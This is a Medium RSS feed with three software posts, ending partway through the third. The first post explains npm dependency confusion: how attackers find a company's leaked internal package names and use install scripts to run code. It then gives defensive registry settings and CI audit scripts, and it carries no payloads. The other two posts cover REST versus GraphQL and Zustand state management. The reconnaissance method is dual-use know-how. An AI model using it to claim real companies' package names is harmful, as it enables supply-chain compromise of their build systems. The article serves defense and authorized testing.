<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Anderson Henrique Botega on Medium]]></title>
        <description><![CDATA[Stories by Anderson Henrique Botega on Medium]]></description>
        <link>https://medium.com/@henriquebotega?source=rss-f4376464f907------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*uiCKRc1VatYyFZIRBX4Zwg.jpeg</url>
            <title>Stories by Anderson Henrique Botega on Medium</title>
            <link>https://medium.com/@henriquebotega?source=rss-f4376464f907------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 17 Oct 2026 07:00:51 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@henriquebotega/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com" rel="hub"/>
        <item>
            <title><![CDATA[Dependency Confusion in JavaScript: How I Would Attack and Defend a Modern Project]]></title>
            <link>https://medium.com/@henriquebotega/dependency-confusion-in-javascript-how-i-would-attack-and-defend-a-modern-project-7fa06e1510d5?source=rss-f4376464f907------2</link>
            <guid isPermaLink="false">https://medium.com/p/7fa06e1510d5</guid>
            <category><![CDATA[security]]></category>
            <category><![CDATA[npm]]></category>
            <dc:creator><![CDATA[Anderson Henrique Botega]]></dc:creator>
            <pubDate>Thu, 15 Oct 2026 11:21:01 GMT</pubDate>
            <atom:updated>2026-10-15T11:21:01.554Z</atom:updated>
            <content:encoded><![CDATA[<p><em>The attack needs no exploit and no stolen credentials, only a package name and a version number.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tK_KvX2_7dooRGjWoJNzVw.png" /></figure><p><strong>Why this still works</strong></p><p>Most supply-chain attacks need something hard: a stolen maintainer token, a compromised CI runner, a zero-day in a build tool. Dependency confusion needs none of that. It works because package managers do exactly what they were configured to do, and the configuration was written by someone who assumed there was only one registry in the world.</p><p>The idea was made famous in 2021, when security researcher Alex Birsan used it, through authorized bug-bounty programs, to get code executing inside the build systems of dozens of large companies. Five years later the defenses are well documented and the attack still works, because it does not target a bug. It targets an assumption, and every new repository, registry proxy, and CI pipeline gets a fresh chance to repeat it.</p><p>This article walks through the attack the way an attacker would plan it, at the level of decisions rather than payloads, and then through the defenses I would put in place, layer by layer, with the TypeScript I would actually run in CI.</p><p><strong>How resolution decides who wins</strong></p><p>When a project asks for acme-utils@¹.2.0, the package manager has to answer two questions: which registry do I ask, and which version satisfies the range? Dependency confusion lives in the gap between those questions.</p><p>Unscoped names have no owner. acme-utils is not tied to your company in any way; it is a string that the default registry will serve to whoever publishes it first. If your internal registry has acme-utils@1.4.2 and a public package appears as acme-utils@99.0.0, any setup that consults both sources can end up preferring the higher version, because ^1.2.0 is not the only way a dependency is requested and “highest matching version” is the rule everywhere.</p><p>The modern variants are subtler than the original:</p><ul><li>Registry proxies that merge sources. A virtual repository in Artifactory, Nexus, or Verdaccio that serves internal packages and proxies npmjs under one URL can serve the public copy of a name when the internal one is missing, unpublished, or asked for at a version that was never released.</li><li>Scopes nobody claimed. Scoped names like @acme/ui are the standard fix, but only if @acme is bound to your registry in every .npmrc and the scope is also registered on npmjs. An unbound scope falls through to the default registry, and an unregistered scope can be claimed by anyone.</li><li>Installs without a lockfile. A CI job that runs npm install instead of npm ci, or a Dockerfile that copies package.json without the lockfile, re-resolves everything on every build.</li></ul><p><strong>Thinking like the attacker</strong></p><p>If I were testing a company, with written authorization, the work would be almost entirely reconnaissance. The interesting question is never “can I publish a package?” Anyone can. The question is “which names does this company install that it does not own?”</p><p>Internal package names leak in predictable places. Public repositories and forks contain package.json files that reference private dependencies. Production JavaScript bundles and source maps often preserve import paths. Lockfiles end up in container images, published Docker layers, and npm tarballs of the company’s own public packages. Error pages, CI logs, and job postings that mention internal tooling round out the list.</p><p>Each candidate name then gets three checks. Is it unscoped, or does it use a scope the company has not registered on npmjs? Is it unclaimed on the public registry? Is there evidence it gets installed somewhere that re-resolves dependencies, such as CI jobs, fresh developer machines, or container builds? A name that passes all three is a viable target.</p><p>The final ingredient is execution. npm runs lifecycle scripts such as preinstall and postinstall by default, so a malicious package does not need to be imported by anyone. Being installed is enough. That is why the original research worked against build servers: they are machines full of credentials that install packages automatically and rarely have a human watching.</p><p>An authorized test does not need a public package at all. A local registry such as Verdaccio, configured with the same proxy rules as production, demonstrates the resolution flaw without impersonating anyone on npmjs. If a public proof of concept is ever necessary, it should contain no executable payload and be coordinated with npm and the target in advance.</p><p><strong>Defense 1: bind every internal name to one registry</strong></p><p>The structural fix is to make internal names impossible to resolve anywhere else. That means scoping all internal packages and pinning the scope in a committed .npmrc at the repository root, so it applies on laptops, in CI, and in container builds alike:</p><pre># .npmrc: committed to every repository, never only in a developer&#39;s home directory<br>@acme:registry=https://npm.acme.internal/<br>//npm.acme.internal/:_authToken=${NPM_TOKEN}<br>registry=https://registry.npmjs.org/</pre><p>The registry needs the same rule from its side. If you run a proxy, the internal scope must never fall back to the public registry, even when a version is missing:</p><pre># verdaccio config.yaml: internal scope is local-only, everything else is proxied<br>packages:<br>  &#39;@acme/*&#39;:<br>    access: $authenticated<br>    publish: $authenticated<br>    # no &#39;proxy&#39; key here: a missing @acme package must fail, not fall through to npmjs<br>  &#39;**&#39;:<br>    access: $all<br>    proxy: npmjs</pre><p>Finally, register the @acme organization on npmjs even if you never publish to it. Owning the scope publicly costs nothing and removes the case where a missing .npmrc sends a scoped request to a registry where someone else owns your name.</p><p><strong>Defense 2: claim the names you cannot scope yet</strong></p><p>Migrating every legacy unscoped package takes time. Until it is done, the unscoped names must be owned on npmjs by an account you control, and that ownership should be verified continuously rather than assumed:</p><pre>// CI guard: fail if an internal unscoped name is unclaimed, or claimed by someone else<br>import { readFile } from &#39;node:fs/promises&#39;;<br> <br>const PUBLIC_REGISTRY = &#39;https://registry.npmjs.org&#39;;<br>const OUR_ACCOUNTS = new Set([&#39;acme-security&#39;, &#39;acme-release-bot&#39;]);<br> <br>type PublicPackage = { maintainers?: { name: string }[] };<br> <br>async function checkName(name: string): Promise&lt;string | null&gt; {<br>  const res = await fetch(`${PUBLIC_REGISTRY}/${encodeURIComponent(name)}`);<br>  if (res.status === 404) return `${name}: unclaimed on npmjs, anyone can publish it`;<br>  if (!res.ok) throw new Error(`Lookup failed for ${name}: HTTP ${res.status}`);<br> <br>  const pkg = (await res.json()) as PublicPackage;<br>  const owners = (pkg.maintainers ?? []).map((m) =&gt; m.name);<br>  // A public copy we do not maintain is not a warning, it is an incident<br>  return owners.some((o) =&gt; OUR_ACCOUNTS.has(o))<br>    ? null<br>    : `${name}: CLAIMED BY UNKNOWN MAINTAINERS (${owners.join(&#39;, &#39;)})`;<br>}<br> <br>async function main() {<br>  // Exported nightly from the private registry: every name we publish internally<br>  const internal: string[] = JSON.parse(await readFile(&#39;internal-packages.json&#39;, &#39;utf8&#39;));<br>  const unscoped = internal.filter((n) =&gt; !n.startsWith(&#39;@acme/&#39;));<br> <br>  const results = await Promise.all(unscoped.map(checkName));<br>  const problems = results.filter((r): r is string =&gt; r !== null);<br>  if (problems.length &gt; 0) {<br>    console.error(problems.join(&#39;\n&#39;));<br>    process.exit(1);<br>  }<br>}<br> <br>main().catch((err) =&gt; {<br>  // Fail closed: if we cannot verify ownership, the build does not pass<br>  console.error(err);<br>  process.exit(1);<br>});</pre><p>The placeholder packages you publish to hold these names should be empty, deprecated with a message pointing to the internal registry, and contain no install scripts.</p><p><strong>Defense 3: treat the lockfile as a security artifact</strong></p><p>A lockfile records exactly where every package came from. That makes it the most useful evidence you have, provided installs respect it. In CI, that means npm ci (or pnpm install — frozen-lockfile, or yarn install — immutable) so a build fails instead of quietly re-resolving.</p><p>It also means reading the lockfile, not only trusting it. A pull request that changes an internal package’s resolved URL from your registry to npmjs is the attack in progress, and a reviewer scrolling through a 4,000-line lockfile diff will not see it. A script will:</p><pre>// Lockfile audit: every package must come from the registry its name says it should<br>import { readFile } from &#39;node:fs/promises&#39;;<br> <br>const INTERNAL = &#39;https://npm.acme.internal/&#39;;<br>const PUBLIC = &#39;https://registry.npmjs.org/&#39;;<br> <br>type LockEntry = { version?: string; resolved?: string; integrity?: string; link?: boolean };<br>type Lockfile = { lockfileVersion: number; packages: Record&lt;string, LockEntry&gt; };<br> <br>function packageName(path: string): string {<br>  // &quot;node_modules/a/node_modules/@acme/ui&quot; -&gt; &quot;@acme/ui&quot;<br>  return path.slice(path.lastIndexOf(&#39;node_modules/&#39;) + &#39;node_modules/&#39;.length);<br>}<br> <br>async function main() {<br>  const lock: Lockfile = JSON.parse(await readFile(&#39;package-lock.json&#39;, &#39;utf8&#39;));<br>  const internalNames = new Set&lt;string&gt;(<br>    JSON.parse(await readFile(&#39;internal-packages.json&#39;, &#39;utf8&#39;)),<br>  );<br> <br>  const violations: string[] = [];<br>  for (const [path, entry] of Object.entries(lock.packages)) {<br>    if (path === &#39;&#39; || entry.link) continue; // root project and workspace links<br> <br>    const name = packageName(path);<br>    const internal = name.startsWith(&#39;@acme/&#39;) || internalNames.has(name);<br>    // If all traffic goes through one proxy, compare against its per-repository paths instead<br>    const expected = internal ? INTERNAL : PUBLIC;<br> <br>    if (!entry.resolved?.startsWith(expected)) {<br>      violations.push(`${name}@${entry.version}: resolved from ${entry.resolved ?? &#39;unknown&#39;}`);<br>    }<br>    if (!entry.integrity) {<br>      violations.push(`${name}@${entry.version}: missing integrity hash`);<br>    }<br>  }<br> <br>  if (violations.length &gt; 0) {<br>    console.error(`Registry violations:\n${violations.join(&#39;\n&#39;)}`);<br>    process.exit(1);<br>  }<br>}<br> <br>main().catch((err) =&gt; {<br>  console.error(err);<br>  process.exit(1);<br>});</pre><p><strong>Defense 4: make installation boring</strong></p><p>Every layer above can fail: a new repository without the .npmrc, a proxy rule changed during an outage, a placeholder that lapsed. The last layer limits what a confused install can do.</p><p>Disabling lifecycle scripts by default removes the “installed means executed” property that makes this attack so effective. Packages that genuinely need a build step, such as native modules, get an explicit allowlist. pnpm makes this a first-class setting, and its release-age delay adds a cooling-off period for brand-new versions, which is exactly what a freshly published attacker package is:</p><pre># pnpm-workspace.yaml: no install scripts unless explicitly allowed, no brand-new versions<br>onlyBuiltDependencies:<br>  - esbuild<br>  - sharp<br>minimumReleaseAge: 4320   # minutes: ignore versions published in the last 3 days</pre><p>With npm, the equivalent is ignore-scripts=true in .npmrc plus an explicit npm rebuild for the few packages that need it. Run installs in CI with short-lived, narrowly scoped credentials, so that even a successful install script finds little worth stealing.</p><p>None of these settings is free. Ignoring scripts breaks some packages until they are allowlisted, release-age delays slow down urgent security patches, and private registries are infrastructure someone has to own. The trade is a small amount of friction on every install against an attack that only has to succeed once.</p><p><strong>Summary</strong></p><ul><li>Dependency confusion exploits configuration, not code: an unscoped or unbound name, a registry that falls back to npmjs, and an install that re-resolves.</li><li>Attackers spend their effort on reconnaissance. Internal names leak through repositories, bundles, source maps, lockfiles, and container images.</li><li>Scope every internal package, pin the scope in a committed .npmrc, and make the private registry refuse to proxy that scope.</li><li>Register your scope on npmjs and claim legacy unscoped names, then verify that ownership in CI.</li><li>Install with npm ci or a frozen lockfile, and audit resolved URLs automatically on every pull request.</li><li>Disable install scripts by default and delay brand-new versions, so a confused install cannot execute on arrival.</li><li>Test with a local registry, never by impersonating a real company’s package on npmjs.</li></ul><p>—</p><p>We spend a lot of effort deciding who may push code into our repositories and almost none deciding who may name it. A package manager does not know which acme-utils is yours; it only knows which one has the bigger number. Dependency confusion is what happens when identity is left to a string, and the defense is the same one that works everywhere else in security: make ownership explicit, then check it on every request.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7fa06e1510d5" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[I Built the Same Backend With REST and GraphQL, the Performance Wasn’t the Interesting Part.]]></title>
            <link>https://medium.com/@henriquebotega/i-built-the-same-backend-with-rest-and-graphql-the-performance-wasnt-the-interesting-part-b57e2b25e6a8?source=rss-f4376464f907------2</link>
            <guid isPermaLink="false">https://medium.com/p/b57e2b25e6a8</guid>
            <category><![CDATA[rest-api]]></category>
            <category><![CDATA[graphql]]></category>
            <category><![CDATA[typescript]]></category>
            <dc:creator><![CDATA[Anderson Henrique Botega]]></dc:creator>
            <pubDate>Thu, 01 Oct 2026 19:57:06 GMT</pubDate>
            <atom:updated>2026-10-01T19:57:06.386Z</atom:updated>
            <content:encoded><![CDATA[<p><em>The real difference was where every decision ended up living: authorization, caching, failure, and cost.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Javp-3aHjrzBoV9yKJ0cGg.png" /></figure><p><strong>The experiment</strong></p><p>I wanted a fair comparison, so I held everything constant except the API layer. The backend tracks work: workspaces, projects, tasks, comments, and members. One PostgreSQL database, one set of domain services, one Node.js runtime. On top of that sat two front doors: an Express REST API and a GraphQL server on Apollo. The same React client was built twice, once against each.</p><p>I expected a story about latency and payload size, and for a while that is what I got. The first GraphQL version was slower on list screens because a naive resolver tree loads each task’s assignee with its own query. That is the classic N+1 problem. The REST version had the mirror-image issue: the dashboard either over-fetched from generic endpoints or needed purpose-built ones.</p><p>Both problems have cheap, well-known fixes. On the GraphQL side, a request-scoped DataLoader collapses those lookups into one query:</p><pre>// Batch assignee lookups so a list of 50 tasks costs one query, not 50<br>import DataLoader from &#39;dataloader&#39;;<br>import type { User } from &#39;./domain/types&#39;;<br>import { usersRepo } from &#39;./repos/users&#39;;<br> <br>export function createLoaders() {<br>  return {<br>    // One loader per request: the cache must never leak between viewers<br>    userById: new DataLoader&lt;string, User | null&gt;(async (ids) =&gt; {<br>      const rows = await usersRepo.findByIds([...ids]);<br>      const byId = new Map(rows.map((u) =&gt; [u.id, u]));<br>      // DataLoader requires results in the same order as the keys<br>      return ids.map((id) =&gt; byId.get(id) ?? null);<br>    }),<br>  };<br>}</pre><p>After that, the latency gap between the two APIs was smaller than the variance between runs of the same API. Performance turned out to be the solved part. What kept rewriting my code, and my mental model, was where decisions lived.</p><p><strong>Authorization moved from the door to the furniture</strong></p><p>In the REST version, authorization had an obvious home: the route. GET /projects/:projectId/tasks maps to one operation on one resource, so a middleware can answer “can this user read tasks in this project?” before any handler runs. The URL is the policy boundary, and audit logs read like sentences: who, which verb, which resource.</p><pre>// REST: the route is the policy boundary, so one check guards the whole response<br>import { Router, type Request, type Response, type NextFunction } from &#39;express&#39;;<br>import { authz } from &#39;./authz&#39;;<br>import { tasksService } from &#39;./domain/tasks&#39;;<br> <br>const router = Router();<br> <br>function requirePermission(action: string, param: string) {<br>  return async (req: Request, res: Response, next: NextFunction) =&gt; {<br>    try {<br>      const allowed = await authz.check({<br>        subject: req.user.id, // set earlier by the authentication middleware<br>        action,<br>        resource: { type: &#39;project&#39;, id: req.params[param] },<br>      });<br>      if (!allowed) return res.status(403).json({ error: &#39;forbidden&#39; });<br>      next();<br>    } catch (err) {<br>      // Fail closed: if the policy engine is unavailable, nobody gets in<br>      next(err);<br>    }<br>  };<br>}<br> <br>router.get(&#39;/projects/:projectId/tasks&#39;,<br>  requirePermission(&#39;task:read&#39;, &#39;projectId&#39;),<br>  async (req, res, next) =&gt; {<br>    try {<br>      res.json(await tasksService.listByProject(req.user, req.params.projectId));<br>    } catch (err) {<br>      next(err);<br>    }<br>  });</pre><p>GraphQL has one endpoint. A single query can start at the viewer, walk into a workspace, list its projects, open their tasks, and pull the email of every comment author, all in one request. There is no route to guard. Every field is a door, and the graph lets a client reach the same door from several directions: task.assignee.email and comment.author.email return the same data through different paths, and both need the same answer.</p><p>The tempting fix is to put checks in resolvers. That works until there are forty resolvers and three of them forget. The approach that held up was moving authorization below both APIs, into the domain layer, so the transport stops making policy decisions at all.</p><pre>// Shared domain layer: REST handlers and GraphQL resolvers both call this,<br>// so the policy exists in exactly one place<br>import { authz, ForbiddenError } from &#39;./authz&#39;;<br>import { tasksRepo } from &#39;./repos/tasks&#39;;<br>import type { Viewer, Task, Context } from &#39;./types&#39;;<br> <br>export const tasksService = {<br>  async getById(viewer: Viewer, taskId: string): Promise&lt;Task | null&gt; {<br>    const task = await tasksRepo.findById(taskId);<br>    if (!task) return null;<br>    // Check against the parent project so inherited access works<br>    const allowed = await authz.check({<br>      subject: viewer.id,<br>      action: &#39;task:read&#39;,<br>      resource: { type: &#39;project&#39;, id: task.projectId },<br>    });<br>    if (!allowed) throw new ForbiddenError(&#39;task:read&#39;);<br>    return task;<br>  },<br>};<br> <br>// The resolver becomes a thin adapter with no policy of its own<br>export const resolvers = {<br>  Query: {<br>    task: (_: unknown, args: { id: string }, ctx: Context) =&gt;<br>      tasksService.getById(ctx.viewer, args.id),<br>  },<br>};</pre><p>Some rules really are about a field rather than a resource. Member emails were the clearest case: visible to the member themselves and to workspace admins, hidden from everyone else.</p><pre>// Field-level rule: email is visible to its owner and to workspace admins only<br>export const userResolvers = {<br>  User: {<br>    email: async (user: User, _: unknown, ctx: Context) =&gt; {<br>      if (user.id === ctx.viewer.id) return user.email;<br>      const isAdmin = await ctx.authz.check({<br>        subject: ctx.viewer.id,<br>        action: &#39;member:read_pii&#39;,<br>        resource: { type: &#39;workspace&#39;, id: user.workspaceId },<br>      });<br>      // Returning null keeps the rest of the query intact instead of failing it<br>      return isAdmin ? user.email : null;<br>    },<br>  },<br>};</pre><p>One warning: per-field checks multiply fast. A list of 50 comments means 50 email checks, so the authorization calls need the same batching treatment as the database calls. A request-scoped loader over authz.check solves it the same way DataLoader solved N+1.</p><p>This was the part that surprised me most. REST let me be coarse and get away with it. GraphQL forced me to decide, field by field, what the policy was, which was work I should have done anyway. The REST API had been hiding the gaps behind response shapes that happened not to include sensitive fields.</p><p><strong>Caching stopped being free</strong></p><p>A REST GET rides decades of HTTP infrastructure: Cache-Control, ETag, CDNs, and browser caches all understand it without any work from you. GraphQL over POST gets none of that by default. Apollo Client’s normalized cache covers the browser, but the network layer is on its own.</p><p>The fix that recovered most of it was persisted queries. The client sends a hash of a known operation instead of the query text, which makes the request small enough to send as a cacheable GET. It also turned out to be a security control, because the server refuses anything that is not in the manifest.</p><pre>// Persisted queries: clients send a hash, the server executes only operations it knows<br>import type { Request, Response, NextFunction } from &#39;express&#39;;<br>import manifest from &#39;./persisted-operations.json&#39;; // generated from the client at build time<br> <br>const operations = new Map&lt;string, string&gt;(Object.entries(manifest));<br> <br>export function persistedOnly(req: Request, res: Response, next: NextFunction) {<br>  const id = req.method === &#39;GET&#39; ? req.query.id : req.body?.id;<br>  const query = typeof id === &#39;string&#39; ? operations.get(id) : undefined;<br>  if (!query) {<br>    // Arbitrary queries are rejected in production, so this doubles as an allowlist<br>    return res.status(400).json({ errors: [{ message: &#39;Unknown operation&#39; }] });<br>  }<br>  req.body = { ...req.body, query };<br>  next();<br>}</pre><p>Authorization came back here too. In REST it is usually obvious which routes return viewer-specific data, so they get Cache-Control: private and everything else can go to the CDN. In GraphQL, a single field changes the answer. The moment a query includes email, the whole response depends on who is asking and must not land in a shared cache.</p><p><strong>Failure got a new shape</strong></p><p>REST communicates failure through status codes, and every load balancer, dashboard, and alert already speaks that language. GraphQL usually answers 200 OK with partial data and an errors array. My first GraphQL deployment had green dashboards while users stared at half-rendered screens, because the alerts were keyed on 5xx responses that never came.</p><p>The fix was to treat the operation, not the HTTP request, as the unit of observability, and to be deliberate about what each error tells the client:</p><pre>// Report GraphQL errors per operation, because the HTTP status will almost always be 200<br>import { ApolloServer } from &#39;@apollo/server&#39;;<br>import { unwrapResolverError } from &#39;@apollo/server/errors&#39;;<br>import { ForbiddenError } from &#39;./authz&#39;;<br>import { metrics } from &#39;./observability&#39;;<br> <br>const CLIENT_CODES = new Set([&#39;GRAPHQL_VALIDATION_FAILED&#39;, &#39;BAD_USER_INPUT&#39;]);<br> <br>const server = new ApolloServer&lt;Context&gt;({<br>  typeDefs,<br>  resolvers,<br>  formatError: (formatted, error) =&gt; {<br>    if (CLIENT_CODES.has(String(formatted.extensions?.code))) return formatted;<br>    if (unwrapResolverError(error) instanceof ForbiddenError) {<br>      return { message: &#39;Forbidden&#39;, extensions: { code: &#39;FORBIDDEN&#39; } };<br>    }<br>    // Never leak stack traces or SQL errors to the client<br>    return { message: &#39;Internal error&#39;, extensions: { code: &#39;INTERNAL&#39; } };<br>  },<br>  plugins: [{<br>    async requestDidStart() {<br>      return {<br>        async didEncounterErrors({ operationName, errors }) {<br>          metrics.increment(&#39;graphql.errors&#39;, errors.length, {<br>            operation: operationName ?? &#39;anonymous&#39;,<br>          });<br>        },<br>      };<br>    },<br>  }],<br>});</pre><p>Partial results are a real feature: a dashboard can render nine widgets when the tenth fails. But they move the definition of “success” from the infrastructure into your code, and you have to rebuild the monitoring that used to come for free.</p><p><strong>Cost became part of the API contract</strong></p><p>In REST, the server decides how expensive each endpoint is. In GraphQL, the client composes the cost. A query that goes from projects to tasks to comments to authors and back to their projects is valid, and each level multiplies the work. Without limits, the most expensive request your system can serve is whatever the most creative client can write.</p><pre>// Bound what a single request can cost before any resolver runs<br>import depthLimit from &#39;graphql-depth-limit&#39;;<br> <br>const server = new ApolloServer&lt;Context&gt;({<br>  typeDefs,<br>  resolvers,<br>  validationRules: [depthLimit(6)],<br>});</pre><p>Depth limits are the blunt tool. Query complexity scoring and hard caps on pagination arguments such as first are the sharper ones. Persisted queries reduce the problem further, because the set of possible operations becomes finite and reviewable. The same mechanism keeps showing up as the answer to caching, security, and cost, which says something about how much of GraphQL’s flexibility production systems actually want to expose.</p><p><strong>So which one?</strong></p><p>“Which is faster?” turned out to be the wrong question. These were the ones that mattered:</p><p>Who are your clients? Many first-party clients with different data needs, such as web, mobile, and internal tools, are where GraphQL earns its overhead. Public APIs for third parties, with stable resources and heavy caching, favor REST.</p><p>How mature is your authorization model? If you cannot state the policy for each sensitive field, GraphQL will expose that quickly. REST will let you postpone it, which is not the same as not needing it.</p><p>Where does policy live? Because both APIs called the same domain services, and those services owned authorization, the choice between REST and GraphQL was reversible. I ran both in parallel on the same data. That is the property worth designing for, regardless of which front door you open first.</p><p><strong>Summary</strong></p><ul><li>Once N+1 queries and over-fetching were fixed, the performance difference between REST and GraphQL disappeared into run-to-run noise for this workload.</li><li>REST puts authorization at the route. GraphQL spreads it across every field and every path through the graph.</li><li>Moving authorization into the domain layer turned both APIs into thin adapters and made the API choice reversible.</li><li>Per-field authorization checks need batching, just like per-field database calls.</li><li>GraphQL gives up HTTP caching by default. Persisted queries recover much of it and double as an operation allowlist.</li><li>A 200 status no longer means success, so monitor GraphQL errors per operation.</li><li>Clients compose the cost of a GraphQL query, which makes depth, complexity, and pagination limits part of the design.</li></ul><p>—</p><p>Building the same backend twice taught me that an API style is less a transport choice than a disclosure policy. REST lets you answer in whole resources and quietly skip the hard questions. GraphQL hands every client a map of the doors in your system and waits to see which ones you forgot to lock. Choose the one whose questions you are ready to answer, and keep the locks somewhere neither of them owns.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b57e2b25e6a8" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Zustand: state management without the ceremony]]></title>
            <link>https://medium.com/@henriquebotega/zustand-state-management-without-the-ceremony-930bc95278d8?source=rss-f4376464f907------2</link>
            <guid isPermaLink="false">https://medium.com/p/930bc95278d8</guid>
            <category><![CDATA[zustand]]></category>
            <category><![CDATA[localstorage]]></category>
            <dc:creator><![CDATA[Anderson Henrique Botega]]></dc:creator>
            <pubDate>Mon, 31 Aug 2026 17:21:01 GMT</pubDate>
            <atom:updated>2026-08-31T17:21:01.331Z</atom:updated>
            <content:encoded><![CDATA[<p><em>A practical guide to Zustand — the small, fast state library that replaced Redux for most React applications</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/692/1*G_mCeJVTD8SwZV1OyTV-ag.png" /></figure><p><strong>The problem with state management in React</strong></p><p>React solved component-level state beautifully with useState. The problem appears the moment two components that don’t share a parent need to read or update the same value. The instinct is to lift state up — but lift it far enough and you end up with a deeply nested component tree where state lives at the top and props are passed through every intermediate layer whether they need them or not. This is prop drilling, and it degrades code quality quickly.</p><p>Context API was React’s answer. It lets you broadcast a value to any component in a subtree without passing it through props. For low-frequency values — the current theme, the authenticated user — Context works well. For frequently-changing state, it has a known performance problem: every component that consumes a Context re-renders whenever any part of that Context changes, regardless of whether that specific component needed the updated value.</p><p>Redux solved the performance and scale problems, but at a significant cost: actions, reducers, dispatch, selectors, middleware, store configuration. Even with Redux Toolkit reducing the boilerplate substantially, Redux imposes a mental model and a code structure that many applications simply do not need.</p><p>Zustand is the pragmatic answer to that trade-off. It is a small (about 1KB gzipped), fast, hook-based state management library that requires almost no setup, imposes no structure, and scales from a simple counter to complex multi-slice application state — without changing its API.</p><p><strong>What makes Zustand different</strong></p><p>Zustand is built on three principles that set it apart from Redux and Context:</p><ul><li>No providers — there is no wrapping component, no context tree, no Provider to add to your app root. A Zustand store is just a hook. You import it and use it anywhere.</li><li>Selective subscriptions — a component only re-renders when the specific slice of state it subscribes to changes. If a component reads count but not name, changing name does not trigger a re-render of that component.</li><li>Mutations are plain functions — you update state by calling a function. There are no actions, no dispatch, no reducers. The function calls set() with the next state. That is the entire model.</li></ul><p><strong>Creating a store</strong></p><p>A Zustand store is created with create(). You define the initial state and the actions that mutate it in the same object — no separate files, no boilerplate:</p><pre>// store/useCounterStore.ts<br>import { create } from &#39;zustand&#39;;<br><br>interface CounterState {<br>  count:     number;<br>  increment: () =&gt; void;<br>  decrement: () =&gt; void;<br>  reset:     () =&gt; void;<br>  incrementBy: (amount: number) =&gt; void;<br>}<br><br>export const useCounterStore = create&lt;CounterState&gt;((set) =&gt; ({<br>  count: 0,<br><br>  increment:   () =&gt; set((state) =&gt; ({ count: state.count + 1 })),<br>  decrement:   () =&gt; set((state) =&gt; ({ count: state.count - 1 })),<br>  reset:       () =&gt; set({ count: 0 }),<br>  incrementBy: (amount) =&gt; set((state) =&gt; ({ count: state.count + amount })),<br>}));</pre><p>That’s it. No action types, no reducers, no dispatch. The store is ready to use in any component.</p><p><strong>Using the store in components</strong></p><p>Components subscribe to a store by calling the hook with a selector. Only the specific value selected triggers a re-render — this is the key performance advantage over Context:</p><pre>// components/Counter.tsx<br>import { useCounterStore } from &#39;../store/useCounterStore&#39;;<br><br>export function Counter() {<br>  // Only re-renders when &#39;count&#39; changes — not when other store values change<br>  const count     = useCounterStore((state) =&gt; state.count);<br>  const increment = useCounterStore((state) =&gt; state.increment);<br>  const decrement = useCounterStore((state) =&gt; state.decrement);<br><br>  return (<br>    &lt;div&gt;<br>      &lt;button onClick={decrement}&gt;−&lt;/button&gt;<br>      &lt;span&gt;{count}&lt;/span&gt;<br>      &lt;button onClick={increment}&gt;+&lt;/button&gt;<br>    &lt;/div&gt;<br>  );<br>}<br><br>// components/ResetButton.tsx<br>// This component only subscribes to reset — it NEVER re-renders when count changes<br>export function ResetButton() {<br>  const reset = useCounterStore((state) =&gt; state.reset);<br>  return &lt;button onClick={reset}&gt;Reset&lt;/button&gt;;<br>}</pre><p><strong>A real-world store: authenticated user with cart</strong></p><p>Zustand handles real application state — authentication, cart management, async operations — with the same clean API:</p><pre>// store/useAppStore.ts<br>import { create } from &#39;zustand&#39;;<br><br>interface User { id: string; name: string; email: string; role: string; }<br>interface CartItem { productId: string; name: string; qty: number; price: number; }<br><br>interface AppState {<br>  // Auth slice<br>  user:    User | null;<br>  token:   string | null;<br>  login:   (email: string, password: string) =&gt; Promise&lt;void&gt;;<br>  logout:  () =&gt; void;<br><br>  // Cart slice<br>  cart:         CartItem[];<br>  addToCart:    (item: CartItem) =&gt; void;<br>  removeFromCart: (productId: string) =&gt; void;<br>  clearCart:    () =&gt; void;<br>  cartTotal:    () =&gt; number;<br>}<br><br>export const useAppStore = create&lt;AppState&gt;((set, get) =&gt; ({<br>  // Auth<br>  user:  null,<br>  token: null,<br><br>  login: async (email, password) =&gt; {<br>    const res  = await fetch(&#39;/api/auth/login&#39;, {<br>      method: &#39;POST&#39;,<br>      body:   JSON.stringify({ email, password }),<br>      headers: { &#39;Content-Type&#39;: &#39;application/json&#39; },<br>    });<br>    const data = await res.json();<br>    set({ user: data.user, token: data.token });<br>  },<br><br>  logout: () =&gt; set({ user: null, token: null, cart: [] }),<br><br>  // Cart<br>  cart: [],<br><br>  addToCart: (item) =&gt; set((state) =&gt; {<br>    const existing = state.cart.find(i =&gt; i.productId === item.productId);<br>    if (existing) {<br>      return { cart: state.cart.map(i =&gt;<br>        i.productId === item.productId ? { ...i, qty: i.qty + 1 } : i<br>      )};<br>    }<br>    return { cart: [...state.cart, item] };<br>  }),<br><br>  removeFromCart: (productId) =&gt;<br>    set((state) =&gt; ({ cart: state.cart.filter(i =&gt; i.productId !== productId) })),<br><br>  clearCart: () =&gt; set({ cart: [] }),<br><br>  // Computed value using get() to access current state<br>  cartTotal: () =&gt; get().cart.reduce((sum, item) =&gt; sum + item.price * item.qty, 0),<br>}));</pre><p><strong>Slices pattern — splitting large stores</strong></p><p>As stores grow, the slices pattern keeps them maintainable. Each slice is a function that returns its own piece of state and its own actions — they are composed into a single store:</p><pre>// store/slices/authSlice.ts<br>import { StateCreator } from &#39;zustand&#39;;<br><br>export interface AuthSlice {<br>  user: User | null;<br>  login:  (email: string, password: string) =&gt; Promise&lt;void&gt;;<br>  logout: () =&gt; void;<br>}<br><br>export const createAuthSlice: StateCreator&lt;AuthSlice&gt; = (set) =&gt; ({<br>  user: null,<br>  login:  async (email, password) =&gt; {<br>    const { user } = await loginApi(email, 